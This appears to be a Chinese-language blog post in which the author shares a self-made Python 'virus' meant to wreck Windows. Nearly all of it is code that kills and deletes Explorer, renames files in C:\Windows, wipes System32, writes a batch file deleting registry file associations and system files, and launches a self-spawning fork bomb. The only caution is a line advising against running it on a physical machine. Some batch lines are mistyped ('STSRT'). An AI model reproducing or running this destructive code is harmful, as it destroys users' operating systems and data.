python病毒(毁掉Windows)

python病毒(毁掉Windows)

好久没发布作品了,今天来给大家展示一下我自己做的毁电脑程序

import os

import shutil

t=os.system("taskkill /f /im explorer.exe")#终止文件资源管理器

del_explorer=os.system("del /f /s /q explorer.exe")#删除文件资源管理器

a=os.system("ren C:\Windows\*.* *.kkk")#把Windows文件夹下的所有文件都替换成kkk后缀

b=os.system("del /f /s /q C:\Windows\System32\*.*")#删除system32

with open("C:\\k.bat",'w') as f:

f.write("""

STSRT reg delete HKCR/.exe#删除注册表

STSRT reg delete HKCR/.dll

STSRT reg delete HKCR/*

attrib -r -s -h c:\autoexec.bat

del c:\autoexec.bat

attrib -r -s -h c:\windows\win.ini

del c:\windows\win.ini""")

with open("C:\\kk.bat",'w') as f:

f.write("""

start cmd

%0""")

os.startfile("k.bat")

os.startfile("kk.bat")

这就是我的病毒,大家如果想运行,一定不能在实体机上运行啊!